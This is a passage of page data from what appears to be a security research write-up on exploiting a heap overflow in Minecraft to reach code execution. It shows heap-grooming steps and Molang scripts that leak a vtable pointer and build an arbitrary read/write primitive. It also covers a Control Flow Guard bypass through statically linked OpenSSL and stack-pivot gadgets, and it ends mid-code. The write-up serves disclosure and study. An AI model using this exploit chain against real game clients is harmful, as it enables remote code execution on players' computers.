variables.",{"type":21,"tag":143,"props":157106,"children":157108},{"code":157107},"                         +-> +---------------+\n                         |   |               |\n                         |   |     . . .     |\n                         |   |               |\n                         |   +-------+-------+\n                         |   | 00 f0 | 00 f1 |\n                         |   +-------+-------+\n                         |   | 00 f2 | 00 f3 |\n                         |   +-------+-------+\n  std::vector\u003Cuint16_t>  |   | 00 f4 | 00 f5 |\n     MolangIndexMap      |   +-------+-------+\n    +----------------+   |   | 00 f6 | 00 00 |\nbuf | 0x1c54f7a13200 | --+   +-------+-------+\n    +----------------+               ^       ^\nlen | 0x1c54f7a13306 | --------------+       |\n    +----------------+                       |\ncap | 0x1c54f7a13308 | ----------------------+\n    +----------------+                        \n",[157109],{"type":21,"tag":78,"props":157110,"children":157111},{"__ignoreMap":7},[157112],{"type":26,"value":157107},{"type":21,"tag":21491,"props":157114,"children":157115},{},[],{"type":21,"tag":22,"props":157117,"children":157118},{},[157119,157121,157126,157128,157133,157135,157140,157142,157147,157148,157153],{"type":26,"value":157120},"To summarize - the final setup will require overwriting indices of three variables: one that would index the ",{"type":21,"tag":78,"props":157122,"children":157124},{"className":157123},[],[157125],{"type":26,"value":152421},{"type":26,"value":157127}," pointer of ",{"type":21,"tag":78,"props":157129,"children":157131},{"className":157130},[],[157132],{"type":26,"value":155225},{"type":26,"value":157134}," in the entity object above, one that would index ",{"type":21,"tag":78,"props":157136,"children":157138},{"className":157137},[],[157139],{"type":26,"value":2456},{"type":26,"value":157141}," and the final ",{"type":21,"tag":78,"props":157143,"children":157145},{"className":157144},[],[157146],{"type":26,"value":155354},{"type":26,"value":157127},{"type":21,"tag":78,"props":157149,"children":157151},{"className":157150},[],[157152],{"type":26,"value":155401},{"type":26,"value":157154}," also in the same entity object above.",{"type":21,"tag":22,"props":157156,"children":157157},{},[157158,157160,157166,157167,157173,157175,157180,157181,157186,157188,157193,157195,157200,157201,157206,157208,157213],{"type":26,"value":157159},"The corrupted variables ",{"type":21,"tag":78,"props":157161,"children":157163},{"className":157162},[],[157164],{"type":26,"value":157165},"variable.corrupted_len_ptr",{"type":26,"value":52},{"type":21,"tag":78,"props":157168,"children":157170},{"className":157169},[],[157171],{"type":26,"value":157172},"variable.corrupted_cap_ptr",{"type":26,"value":157174}," point to ",{"type":21,"tag":78,"props":157176,"children":157178},{"className":157177},[],[157179],{"type":26,"value":2456},{"type":26,"value":52},{"type":21,"tag":78,"props":157182,"children":157184},{"className":157183},[],[157185],{"type":26,"value":155354},{"type":26,"value":157187},", respectively - they are two bytes apart. With these two we can compute arbitrary pointers using the method previously described. The third corrupted variable, ",{"type":21,"tag":78,"props":157189,"children":157191},{"className":157190},[],[157192],{"type":26,"value":156999},{"type":26,"value":157194},", points to the ",{"type":21,"tag":78,"props":157196,"children":157198},{"className":157197},[],[157199],{"type":26,"value":152421},{"type":26,"value":156206},{"type":21,"tag":78,"props":157202,"children":157204},{"className":157203},[],[157205],{"type":26,"value":155225},{"type":26,"value":157207},"; it is used to copy the calculated pointer into the allocated buffer of ",{"type":21,"tag":78,"props":157209,"children":157211},{"className":157210},[],[157212],{"type":26,"value":155225},{"type":26,"value":157214},", which in turn lets us overwrite a pointer of a different (fourth) variable. That fourth corrupted variable is what we ultimately use for arbitrary read/write.",{"type":21,"tag":22,"props":157216,"children":157217},{},[157218],{"type":26,"value":157219},"Before we can do any arbitrary memory operations, however, we need a leak - ideally the address of any Minecraft executable region - that lets us perform arbitrary reads and writes into the target memory region.",{"type":21,"tag":21591,"props":157221,"children":157223},{"id":157222},"leaking-pointers",[157224],{"type":26,"value":157225},"Leaking Pointers",{"type":21,"tag":22,"props":157227,"children":157228},{},[157229,157231,157237],{"type":26,"value":157230},"In C++, an object’s first field is typically a ",{"type":21,"tag":78,"props":157232,"children":157234},{"className":157233},[],[157235],{"type":26,"value":157236},"vtable",{"type":26,"value":157238}," pointer - a pointer into a read-only region of the executable in memory. That means the first field of the entity object contains an address inside the Minecraft executable, and we want to recover that value from our Molang script.",{"type":21,"tag":143,"props":157240,"children":157242},{"code":157241},"                                 Entity Object       \n                                                     \n                          +------------+------------+\n                          | vtable ptr |            |\n                          +------------+            |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                      +-> +------------+------------+\n                      |   |    buf     |    len     |\n      MolangIndexMap -+   +------------+------------+\n                      |   |    cap     |            |\n                   +--+-> +------------+------------+\n                   |      |    buf     |    len     |\nMolangVariableMap -+      +------------+------------+\n                   |      |    cap     |            |\n                   +----> +------------+            |\n                          |                         |\n                          +-------------------------+\n",[157243],{"type":21,"tag":78,"props":157244,"children":157245},{"__ignoreMap":7},[157246],{"type":26,"value":157241},{"type":21,"tag":22,"props":157248,"children":157249},{},[157250,157251,157256,157258,157263,157265,157270,157272,157277,157279,157284,157285,157290,157292,157297],{"type":26,"value":19311},{"type":21,"tag":78,"props":157252,"children":157254},{"className":157253},[],[157255],{"type":26,"value":41843},{"type":26,"value":157257}," field inside a ",{"type":21,"tag":78,"props":157259,"children":157261},{"className":157260},[],[157262],{"type":26,"value":154898},{"type":26,"value":157264}," is at offset ",{"type":21,"tag":78,"props":157266,"children":157268},{"className":157267},[],[157269],{"type":26,"value":155159},{"type":26,"value":157271},". We already control a corrupted variable, ",{"type":21,"tag":78,"props":157273,"children":157275},{"className":157274},[],[157276],{"type":26,"value":157165},{"type":26,"value":157278},", whose target we can shift by adding unseen variables: each unseen variable increments the ",{"type":21,"tag":78,"props":157280,"children":157282},{"className":157281},[],[157283],{"type":26,"value":2456},{"type":26,"value":156206},{"type":21,"tag":78,"props":157286,"children":157288},{"className":157287},[],[157289],{"type":26,"value":155401},{"type":26,"value":157291}," by 2 bytes, which in turn advances ",{"type":21,"tag":78,"props":157293,"children":157295},{"className":157294},[],[157296],{"type":26,"value":157165},{"type":26,"value":157298}," by 2 bytes.",{"type":21,"tag":22,"props":157300,"children":157301},{},[157302,157304,157309,157311,157317,157318,157323,157324,157329,157331,157336],{"type":26,"value":157303},"By moving ",{"type":21,"tag":78,"props":157305,"children":157307},{"className":157306},[],[157308],{"type":26,"value":2456},{"type":26,"value":157310}," so it equals ",{"type":21,"tag":78,"props":157312,"children":157314},{"className":157313},[],[157315],{"type":26,"value":157316},"cap - 0x38",{"type":26,"value":104594},{"type":21,"tag":78,"props":157319,"children":157321},{"className":157320},[],[157322],{"type":26,"value":41843},{"type":26,"value":156206},{"type":21,"tag":78,"props":157325,"children":157327},{"className":157326},[],[157328],{"type":26,"value":157165},{"type":26,"value":157330}," will overlap the first 8 bytes of the adjacent heap chunk above - in our case, the entity object (manipulated by the heap spray) - which means those first 8 bytes are the entity’s ",{"type":21,"tag":78,"props":157332,"children":157334},{"className":157333},[],[157335],{"type":26,"value":157236},{"type":26,"value":157337}," pointer. We can then capture that pointer with:",{"type":21,"tag":143,"props":157339,"children":157341},{"code":157340},"variable.saved_vtable_pointer = variable.corrupted_len_ptr;\n",[157342],{"type":21,"tag":78,"props":157343,"children":157344},{"__ignoreMap":7},[157345],{"type":26,"value":157340},{"type":21,"tag":22,"props":157347,"children":157348},{},[157349,157351,157356,157358,157363,157365,157370,157372,157378],{"type":26,"value":157350},"After saving the leak, we add 27 unseen variables to advance ",{"type":21,"tag":78,"props":157352,"children":157354},{"className":157353},[],[157355],{"type":26,"value":2456},{"type":26,"value":157357}," until it equals ",{"type":21,"tag":78,"props":157359,"children":157361},{"className":157360},[],[157362],{"type":26,"value":157102},{"type":26,"value":157364},". That produces the setup required for our arbitrary read/write primitive while having the leaked ",{"type":21,"tag":78,"props":157366,"children":157368},{"className":157367},[],[157369],{"type":26,"value":157236},{"type":26,"value":157371}," address in ",{"type":21,"tag":78,"props":157373,"children":157375},{"className":157374},[],[157376],{"type":26,"value":157377},"variable.saved_vtable_pointer",{"type":26,"value":355},{"type":21,"tag":21491,"props":157380,"children":157381},{},[],{"type":21,"tag":22,"props":157383,"children":157384},{},[157385,157387,157392,157394,157400],{"type":26,"value":157386},"A Molang script that performs an arbitrary write of the value ",{"type":21,"tag":78,"props":157388,"children":157390},{"className":157389},[],[157391],{"type":26,"value":3197},{"type":26,"value":157393}," to the address ",{"type":21,"tag":78,"props":157395,"children":157397},{"className":157396},[],[157398],{"type":26,"value":157399},"vtable + 0x1000",{"type":26,"value":157401}," looks like this:",{"type":21,"tag":143,"props":157403,"children":157405},{"code":157404},"// calculate lower 16\nvariable.corrupted_len_ptr = variable.saved_vtable_lower_16;\nvariable.corrupted_cap_ptr = 0;\n// subtract the offset of `value` field within MolangVariable (0x38)\nvariable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1000 - 0x38);\nvariable.calculated_lower_16 = variable.corrupted_len_ptr;\n\n// calculate middle 16, check if lower 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_middle_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_lower_16 >= itof(0x10000)) ? {\n    variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_middle_16 = variable.corrupted_len_ptr;\n\n// calculate high 16, check if middle 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_high_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_middle_16 >= itof(0x10000)) ? {\n    variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_high_16 = variable.corrupted_len_ptr;\n\n// construct the final pointer\nvariable.corrupted_len_ptr = variable.calculated_middle_16;\nvariable.corrupted_cap_ptr = variable.calculated_high_16;\nvariable.calculated_upper_48 = variable.corrupted_len_ptr;\nvariable.corrupted_len_ptr = variable.calculated_lower_16;\nvariable.corrupted_cap_ptr = variable.calculated_upper_48;\n\n// copy the constructed pointer to MolangVariableMap\nvariable.corrupted_var_map_ptr = variable.corrupted_len_ptr;\n\n// variable.f pointer is now `vtable + 0x1000 - 0x38`\n// and the value 0x1337 is written at `vtable + 0x1000`\nvariable.f = itof(0x1337);\n",[157406],{"type":21,"tag":78,"props":157407,"children":157408},{"__ignoreMap":7},[157409],{"type":26,"value":157404},{"type":21,"tag":21591,"props":157411,"children":157413},{"id":157412},"required-heap-layout",[157414],{"type":26,"value":157415},"Required Heap Layout",{"type":21,"tag":22,"props":157417,"children":157418},{},[157419],{"type":26,"value":157420},"To ensure our attack works, the heap spray would manipulate the layout as such once the indices are overwritten:",{"type":21,"tag":143,"props":157422,"children":157424},{"code":157423},"    Heap Region 1                Heap Region 2    \n                                                  \n+-------------------+        +-------------------+\n|                   |        |                   |\n| MolangVariableMap |        |  MolangIndexMap   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n|   Entity Object   |        |   Entity Object   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n| MolangVariableMap |        |  MolangIndexMap   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n|   Entity Object   |        |   Entity Object   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n",[157425],{"type":21,"tag":78,"props":157426,"children":157427},{"__ignoreMap":7},[157428],{"type":26,"value":157423},{"type":21,"tag":22,"props":157430,"children":157431},{},[157432,157434,157440,157442,157447,157449,157454,157456,157461,157462,157467],{"type":26,"value":157433},"The first region (",{"type":21,"tag":78,"props":157435,"children":157437},{"className":157436},[],[157438],{"type":26,"value":157439},"Heap Region 1",{"type":26,"value":157441},") contains alternating ",{"type":21,"tag":78,"props":157443,"children":157445},{"className":157444},[],[157446],{"type":26,"value":155225},{"type":26,"value":157448},"-allocated buffers and entity objects. The purpose of this region is that, once a variable index is out of bounds, it can index internal ",{"type":21,"tag":78,"props":157450,"children":157452},{"className":157451},[],[157453],{"type":26,"value":155255},{"type":26,"value":157455}," pointers of ",{"type":21,"tag":78,"props":157457,"children":157459},{"className":157458},[],[157460],{"type":26,"value":155225},{"type":26,"value":52},{"type":21,"tag":78,"props":157463,"children":157465},{"className":157464},[],[157466],{"type":26,"value":155401},{"type":26,"value":157468}," from the entity object for our main attack.",{"type":21,"tag":22,"props":157470,"children":157471},{},[157472,157474,157480,157482,157487,157489,157494,157496,157501,157503,157508],{"type":26,"value":157473},"The second region (",{"type":21,"tag":78,"props":157475,"children":157477},{"className":157476},[],[157478],{"type":26,"value":157479},"Heap Region 2",{"type":26,"value":157481},") contains interleaved ",{"type":21,"tag":78,"props":157483,"children":157485},{"className":157484},[],[157486],{"type":26,"value":155401},{"type":26,"value":157488},"-allocated buffers and entity objects. This region exists so we can leak an entity object's ",{"type":21,"tag":78,"props":157490,"children":157492},{"className":157491},[],[157493],{"type":26,"value":157236},{"type":26,"value":157495}," pointer into ",{"type":21,"tag":78,"props":157497,"children":157499},{"className":157498},[],[157500],{"type":26,"value":157165},{"type":26,"value":157502}," during our main attack. It could be any object with a ",{"type":21,"tag":78,"props":157504,"children":157506},{"className":157505},[],[157507],{"type":26,"value":157236},{"type":26,"value":157509},", but for simplicity we use the entity object.",{"type":21,"tag":22,"props":157511,"children":157512},{},[157513,157515,157521,157523,157528],{"type":26,"value":157514},"During the attack, overwriting another variable's pointer with\n",{"type":21,"tag":78,"props":157516,"children":157518},{"className":157517},[],[157519],{"type":26,"value":157520},"variable.corrupted_var_map_ptr = variable.corrupted_len_ptr",{"type":26,"value":157522}," will very likely clobber the ",{"type":21,"tag":78,"props":157524,"children":157526},{"className":157525},[],[157527],{"type":26,"value":155721},{"type":26,"value":157529}," pointer of a different entity than the one subject to the initial index corruption. In practice this means: an entity affected by the initial corruption will leak and compute an arbitrary read/write address, then use that address to overwrite a variable pointer in a second, separate entity. The second entity is then used purely to perform arbitrary reads and writes via that variable.",{"type":21,"tag":22,"props":157531,"children":157532},{},[157533],{"type":26,"value":157534},"Because of this cross-entity behavior, we must synchronize all entities. At the time we implemented the exploit we couldn't find a clean way to force synchronized execution. Our workaround was to place all allocated entities at the same world position and put the Molang script into the animation section. Animation scripts are not executed for entities outside the client's field of view, so none of the Molang code runs until the entities become visible.",{"type":21,"tag":22,"props":157536,"children":157537},{},[157538],{"type":26,"value":157539},"The final exploit proceeds in three stages:",{"type":21,"tag":126,"props":157541,"children":157542},{},[157543,157548,157553],{"type":21,"tag":91,"props":157544,"children":157545},{},[157546],{"type":26,"value":157547},"Position the player so the sprayed entities are out of view (their Molang scripts remain dormant)",{"type":21,"tag":91,"props":157549,"children":157550},{},[157551],{"type":26,"value":157552},"Perform the heap spray with signs to create the desired layout for the attack",{"type":21,"tag":91,"props":157554,"children":157555},{},[157556],{"type":26,"value":157557},"Move the client so all sprayed entities enter the field of view - their animation scripts (our Molang payload) then execute, triggering the leak and the subsequent arbitrary read/write primitive.",{"type":21,"tag":21591,"props":157559,"children":157561},{"id":157560},"initial-corruption-variant-lfh-heap-approach",[157562],{"type":26,"value":157563},"Initial Corruption Variant: LFH Heap Approach",{"type":21,"tag":22,"props":157565,"children":157566},{},[157567],{"type":26,"value":157568},"As mentioned above, LFH heap chunks have no headers and chunk data is adjacent, so the attack can also be carried out in the LFH heap instead of the VS heap. In that case the chunk overlap method is unnecessary - the overflown 4-byte value can be used directly to overwrite the first two variable indices.",{"type":21,"tag":22,"props":157570,"children":157571},{},[157572,157574,157579,157580,157586],{"type":26,"value":157573},"There is no variable at index 0 in the global variable map because when a new variable is encountered it is assigned ",{"type":21,"tag":78,"props":157575,"children":157577},{"className":157576},[],[157578],{"type":26,"value":155468},{"type":26,"value":9217},{"type":21,"tag":78,"props":157581,"children":157583},{"className":157582},[],[157584],{"type":26,"value":157585},"last_index",{"type":26,"value":157587}," is initialized to 0 at program start. Therefore the first two bytes of the 4-byte overflow are irrelevant - only the last two bytes overwrite a single variable index.",{"type":21,"tag":22,"props":157589,"children":157590},{},[157591,157593,157598,157599,157604,157606,157611,157613,157618,157620,157625,157627,157633,157634,157640,157641,157647],{"type":26,"value":157592},"The main attack can be arranged by making the resulting index point at the ",{"type":21,"tag":78,"props":157594,"children":157596},{"className":157595},[],[157597],{"type":26,"value":152421},{"type":26,"value":156206},{"type":21,"tag":78,"props":157600,"children":157602},{"className":157601},[],[157603],{"type":26,"value":155401},{"type":26,"value":157605},". From there, the script can overwrite three variable indices at offset ",{"type":21,"tag":78,"props":157607,"children":157609},{"className":157608},[],[157610],{"type":26,"value":155159},{"type":26,"value":157612}," within the ",{"type":21,"tag":78,"props":157614,"children":157616},{"className":157615},[],[157617],{"type":26,"value":155401},{"type":26,"value":157619}," by using the string type. This works because a Molang string's value is just a ",{"type":21,"tag":78,"props":157621,"children":157623},{"className":157622},[],[157624],{"type":26,"value":57926},{"type":26,"value":157626}," FNV-1 hash; the required string can be found by brute-forcing until the hash contains the three target indices. For example, to overwrite three indices with values ",{"type":21,"tag":78,"props":157628,"children":157630},{"className":157629},[],[157631],{"type":26,"value":157632},"0xfb",{"type":26,"value":1670},{"type":21,"tag":78,"props":157635,"children":157637},{"className":157636},[],[157638],{"type":26,"value":157639},"0xfc",{"type":26,"value":52},{"type":21,"tag":78,"props":157642,"children":157644},{"className":157643},[],[157645],{"type":26,"value":157646},"0xfd",{"type":26,"value":157648}," the script would do:",{"type":21,"tag":143,"props":157650,"children":157652},{"code":157651},"variable.corrupted_index_map_ptr = 'r80n3jsuc';\n",[157653],{"type":21,"tag":78,"props":157654,"children":157655},{"__ignoreMap":7},[157656],{"type":26,"value":157651},{"type":21,"tag":22,"props":157658,"children":157659},{},[157660,157662,157667,157668,157674,157676,157681],{"type":26,"value":157661},"That line would write the ",{"type":21,"tag":78,"props":157663,"children":157665},{"className":157664},[],[157666],{"type":26,"value":57926},{"type":26,"value":94470},{"type":21,"tag":78,"props":157669,"children":157671},{"className":157670},[],[157672],{"type":26,"value":157673},"0x302700fb00fc00fd",{"type":26,"value":157675}," (string's FNV-1 hash) into the allocated ",{"type":21,"tag":78,"props":157677,"children":157679},{"className":157678},[],[157680],{"type":26,"value":155401},{"type":26,"value":157682}," buffer, overwriting three indices with the required values and setting up the desired arbitrary read / write primitive state.",{"type":21,"tag":114,"props":157684,"children":157686},{"id":157685},"hijacking-execution",[157687],{"type":26,"value":157688},"Hijacking Execution",{"type":21,"tag":22,"props":157690,"children":157691},{},[157692,157694,157699,157701,157707],{"type":26,"value":157693},"Although we can read and write arbitrary values inside the Minecraft memory region - including many ",{"type":21,"tag":78,"props":157695,"children":157697},{"className":157696},[],[157698],{"type":26,"value":157236},{"type":26,"value":157700}," and function pointers in the writable ",{"type":21,"tag":78,"props":157702,"children":157704},{"className":157703},[],[157705],{"type":26,"value":157706},".data",{"type":26,"value":157708}," section - the exploit is not complete: Control Flow Guard (CFG) prevents us from gaining arbitrary code execution by overwriting those pointers and executing a ROP chain.",{"type":21,"tag":22,"props":157710,"children":157711},{},[157712],{"type":26,"value":157713},"CFG is a runtime mitigation that blocks indirect jumps/calls to unapproved addresses; it will crash on an indirect transfer to a location not in its valid-target set.",{"type":21,"tag":22,"props":157715,"children":157716},{},[157717],{"type":26,"value":157718},"Examining Minecraft-specific functions and their disassembly shows the following:",{"type":21,"tag":22,"props":157720,"children":157721},{},[157722],{"type":21,"tag":3644,"props":157723,"children":157725},{"alt":52869,"src":157724},"/posts/minecraft-heap-overflow-to-rce/image11.png",[],{"type":21,"tag":22,"props":157727,"children":157728},{},[157729,157731,157737,157739,157745,157747,157752,157754,157759,157761,157767,157769,157774,157776,157782,157784,157789],{"type":26,"value":157730},"This snippet calls a method on an object: ",{"type":21,"tag":78,"props":157732,"children":157734},{"className":157733},[],[157735],{"type":26,"value":157736},"rcx",{"type":26,"value":157738}," holds the object pointer, the first ",{"type":21,"tag":78,"props":157740,"children":157742},{"className":157741},[],[157743],{"type":26,"value":157744},"mov",{"type":26,"value":157746}," loads the object's ",{"type":21,"tag":78,"props":157748,"children":157750},{"className":157749},[],[157751],{"type":26,"value":157236},{"type":26,"value":157753}," into ",{"type":21,"tag":78,"props":157755,"children":157757},{"className":157756},[],[157758],{"type":26,"value":59066},{"type":26,"value":157760},", and the function pointer at ",{"type":21,"tag":78,"props":157762,"children":157764},{"className":157763},[],[157765],{"type":26,"value":157766},"rax + 0x8",{"type":26,"value":157768}," is read into ",{"type":21,"tag":78,"props":157770,"children":157772},{"className":157771},[],[157773],{"type":26,"value":59066},{"type":26,"value":157775},". Finally, ",{"type":21,"tag":78,"props":157777,"children":157779},{"className":157778},[],[157780],{"type":26,"value":157781},"__guard_dispatch_icall_fptr",{"type":26,"value":157783}," is called - this is the CFG dispatch function that validates ",{"type":21,"tag":78,"props":157785,"children":157787},{"className":157786},[],[157788],{"type":26,"value":59066},{"type":26,"value":157790}," as a legal call target before invoking it.",{"type":21,"tag":22,"props":157792,"children":157793},{},[157794],{"type":26,"value":157795},"All DLLs in the Minecraft directory are compiled with CFG. However, we later found an assembly snippet in the Minecraft executable that calls an object method directly, without a CFG dispatch:",{"type":21,"tag":22,"props":157797,"children":157798},{},[157799],{"type":21,"tag":3644,"props":157800,"children":157802},{"alt":52869,"src":157801},"/posts/minecraft-heap-overflow-to-rce/image12.png",[],{"type":21,"tag":22,"props":157804,"children":157805},{},[157806,157808,157814,157816,157822],{"type":26,"value":157807},"Here, the function pointer at ",{"type":21,"tag":78,"props":157809,"children":157811},{"className":157810},[],[157812],{"type":26,"value":157813},"vtable + 0x10",{"type":26,"value":157815}," is loaded into ",{"type":21,"tag":78,"props":157817,"children":157819},{"className":157818},[],[157820],{"type":26,"value":157821},"rdx",{"type":26,"value":157823}," and then called directly.",{"type":21,"tag":22,"props":157825,"children":157826},{},[157827],{"type":26,"value":157828},"This code comes from OpenSSL, and none of the OpenSSL-specific sections contain CFG dispatch calls. Presumably OpenSSL was compiled without CFG and then statically linked into the executable.",{"type":21,"tag":22,"props":157830,"children":157831},{},[157832,157834,157839],{"type":26,"value":157833},"So the remaining task is to locate OpenSSL function or ",{"type":21,"tag":78,"props":157835,"children":157837},{"className":157836},[],[157838],{"type":26,"value":157236},{"type":26,"value":157840}," pointers within Minecraft's writable sections and use those as overwrite targets to hijack execution.",{"type":21,"tag":21591,"props":157842,"children":157844},{"id":157843},"locating-overwrite-targets",[157845],{"type":26,"value":157846},"Locating Overwrite Targets",{"type":21,"tag":22,"props":157848,"children":157849},{},[157850,157852,157858,157859,157864,157866,157871,157873,157879],{"type":26,"value":157851},"One of the first targets we identified were the ",{"type":21,"tag":78,"props":157853,"children":157855},{"className":157854},[],[157856],{"type":26,"value":157857},"malloc",{"type":26,"value":52},{"type":21,"tag":78,"props":157860,"children":157862},{"className":157861},[],[157863],{"type":26,"value":152469},{"type":26,"value":157865}," callbacks. These reside in the ",{"type":21,"tag":78,"props":157867,"children":157869},{"className":157868},[],[157870],{"type":26,"value":157706},{"type":26,"value":157872}," section and are invoked whenever they don’t match the expected ",{"type":21,"tag":78,"props":157874,"children":157876},{"className":157875},[],[157877],{"type":26,"value":157878},"OPENSSL_malloc/free",{"type":26,"value":134327},{"type":21,"tag":22,"props":157881,"children":157882},{},[157883],{"type":21,"tag":3644,"props":157884,"children":157886},{"alt":52869,"src":157885},"/posts/minecraft-heap-overflow-to-rce/image13.png",[],{"type":21,"tag":22,"props":157888,"children":157889},{},[157890],{"type":26,"value":157891},"However, none of the registers held a pointer to a controllable region where we could place our ROP chain.",{"type":21,"tag":22,"props":157893,"children":157894},{},[157895,157897,157903,157905,157911,157913,157918],{"type":26,"value":157896},"Later, we found another promising function: ",{"type":21,"tag":78,"props":157898,"children":157900},{"className":157899},[],[157901],{"type":26,"value":157902},"ossl_ec_key_new_method_int",{"type":26,"value":157904},". This function creates and initializes an ",{"type":21,"tag":78,"props":157906,"children":157908},{"className":157907},[],[157909],{"type":26,"value":157910},"EC_KEY",{"type":26,"value":157912}," object. What makes it particularly interesting is that it relies on a global structure (in ",{"type":21,"tag":78,"props":157914,"children":157916},{"className":157915},[],[157917],{"type":26,"value":157706},{"type":26,"value":157919},") containing function pointers:",{"type":21,"tag":22,"props":157921,"children":157922},{},[157923],{"type":21,"tag":3644,"props":157924,"children":157926},{"alt":52869,"src":157925},"/posts/minecraft-heap-overflow-to-rce/image14.png",[],{"type":21,"tag":22,"props":157928,"children":157929},{},[157930,157932,157938,157939,157945,157947,157952,157954,157960,157962,157967,157969,157974,157976,157981],{"type":26,"value":157931},"In the image above, ",{"type":21,"tag":78,"props":157933,"children":157935},{"className":157934},[],[157936],{"type":26,"value":157937},"ret->meth",{"type":26,"value":127791},{"type":21,"tag":78,"props":157940,"children":157942},{"className":157941},[],[157943],{"type":26,"value":157944},"default_ec_key_meth",{"type":26,"value":157946},", which points to a structure of function pointers located in ",{"type":21,"tag":78,"props":157948,"children":157950},{"className":157949},[],[157951],{"type":26,"value":157706},{"type":26,"value":157953},". It then calls ",{"type":21,"tag":78,"props":157955,"children":157957},{"className":157956},[],[157958],{"type":26,"value":157959},"ret->meth->init",{"type":26,"value":157961},", passing the ",{"type":21,"tag":78,"props":157963,"children":157965},{"className":157964},[],[157966],{"type":26,"value":20389},{"type":26,"value":157968}," pointer (",{"type":21,"tag":78,"props":157970,"children":157972},{"className":157971},[],[157973],{"type":26,"value":13711},{"type":26,"value":157975},"). This alone isn’t especially useful because ",{"type":21,"tag":78,"props":157977,"children":157979},{"className":157978},[],[157980],{"type":26,"value":13711},{"type":26,"value":157982}," is heap-allocated.",{"type":21,"tag":22,"props":157984,"children":157985},{},[157986,157988,157993],{"type":26,"value":157987},"But, if we look at how ",{"type":21,"tag":78,"props":157989,"children":157991},{"className":157990},[],[157992],{"type":26,"value":157959},{"type":26,"value":157994}," is invoked in the disassembly:",{"type":21,"tag":22,"props":157996,"children":157997},{},[157998],{"type":21,"tag":3644,"props":157999,"children":158001},{"alt":52869,"src":158000},"/posts/minecraft-heap-overflow-to-rce/image15.png",[],{"type":21,"tag":22,"props":158003,"children":158004},{},[158005,158006,158011,158013,158018,158020,158025,158027,158032,158034,158039,158041,158046,158048,158053,158055,158061],{"type":26,"value":133},{"type":21,"tag":78,"props":158007,"children":158009},{"className":158008},[],[158010],{"type":26,"value":157959},{"type":26,"value":158012}," is not ",{"type":21,"tag":78,"props":158014,"children":158016},{"className":158015},[],[158017],{"type":26,"value":56787},{"type":26,"value":158019},", it is called while ",{"type":21,"tag":78,"props":158021,"children":158023},{"className":158022},[],[158024],{"type":26,"value":59066},{"type":26,"value":158026}," still contains the value of ",{"type":21,"tag":78,"props":158028,"children":158030},{"className":158029},[],[158031],{"type":26,"value":157937},{"type":26,"value":158033}," - that is, a pointer to the structure in ",{"type":21,"tag":78,"props":158035,"children":158037},{"className":158036},[],[158038],{"type":26,"value":157706},{"type":26,"value":158040}," that we control. This is ideal, because we can overwrite ",{"type":21,"tag":78,"props":158042,"children":158044},{"className":158043},[],[158045],{"type":26,"value":157944},{"type":26,"value":158047}," with a pointer to a region in ",{"type":21,"tag":78,"props":158049,"children":158051},{"className":158050},[],[158052],{"type":26,"value":157706},{"type":26,"value":158054}," where our ROP chain is located, and then perform a stack pivot using a ",{"type":21,"tag":78,"props":158056,"children":158058},{"className":158057},[],[158059],{"type":26,"value":158060},"mov rsp, rax; ret",{"type":26,"value":158062},"-style gadget.",{"type":21,"tag":22,"props":158064,"children":158065},{},[158066,158068,158073,158075,158080],{"type":26,"value":158067},"Although we discovered that ",{"type":21,"tag":78,"props":158069,"children":158071},{"className":158070},[],[158072],{"type":26,"value":157902},{"type":26,"value":158074}," is never called by the Minecraft process, this did not turn out to be a problem as we had already found a way to trigger arbitrary function calls through the ",{"type":21,"tag":78,"props":158076,"children":158078},{"className":158077},[],[158079],{"type":26,"value":157878},{"type":26,"value":158081}," callbacks.",{"type":21,"tag":21591,"props":158083,"children":158085},{"id":158084},"stack-pivot",[158086],{"type":26,"value":158087},"Stack Pivot",{"type":21,"tag":22,"props":158089,"children":158090},{},[158091,158093,158098,158100,158105,158107,158112,158114,158120],{"type":26,"value":158092},"At this point, the plan is as follows: write our ROP chain into a controlled region of ",{"type":21,"tag":78,"props":158094,"children":158096},{"className":158095},[],[158097],{"type":26,"value":157706},{"type":26,"value":158099},", overwrite ",{"type":21,"tag":78,"props":158101,"children":158103},{"className":158102},[],[158104],{"type":26,"value":157944},{"type":26,"value":158106}," to set up the stack pivot, and finally overwrite one of the callbacks so that calling it triggers ",{"type":21,"tag":78,"props":158108,"children":158110},{"className":158109},[],[158111],{"type":26,"value":157902},{"type":26,"value":158113},". This ultimately calls ",{"type":21,"tag":78,"props":158115,"children":158117},{"className":158116},[],[158118],{"type":26,"value":158119},"default_ec_key_meth->init",{"type":26,"value":158121},", which executes the pivot and begins ROP execution.",{"type":21,"tag":22,"props":158123,"children":158124},{},[158125,158127,158133,158135,158141],{"type":26,"value":158126},"We chose to overwrite the ",{"type":21,"tag":78,"props":158128,"children":158130},{"className":158129},[],[158131],{"type":26,"value":158132},"OPENSSL_free",{"type":26,"value":158134}," callback. This produces only a minor memory leak, while overwriting ",{"type":21,"tag":78,"props":158136,"children":158138},{"className":158137},[],[158139],{"type":26,"value":158140},"OPENSSL_malloc",{"type":26,"value":158142}," would require our replacement function to return a writable, unused memory region.",{"type":21,"tag":22,"props":158144,"children":158145},{},[158146,158148,158154,158155,158161,158163,158168],{"type":26,"value":158147},"For the stack pivot, we found two useful gadgets: ",{"type":21,"tag":78,"props":158149,"children":158151},{"className":158150},[],[158152],{"type":26,"value":158153},"add rsp, 0x10; pop r14; ret",{"type":26,"value":52},{"type":21,"tag":78,"props":158156,"children":158158},{"className":158157},[],[158159],{"type":26,"value":158160},"xchg rsp, rax; ret",{"type":26,"value":158162},". The exploit writes them into ",{"type":21,"tag":78,"props":158164,"children":158166},{"className":158165},[],[158167],{"type":26,"value":157706},{"type":26,"value":158169}," like this:",{"type":21,"tag":143,"props":158171,"children":158173},{"code":158172},"      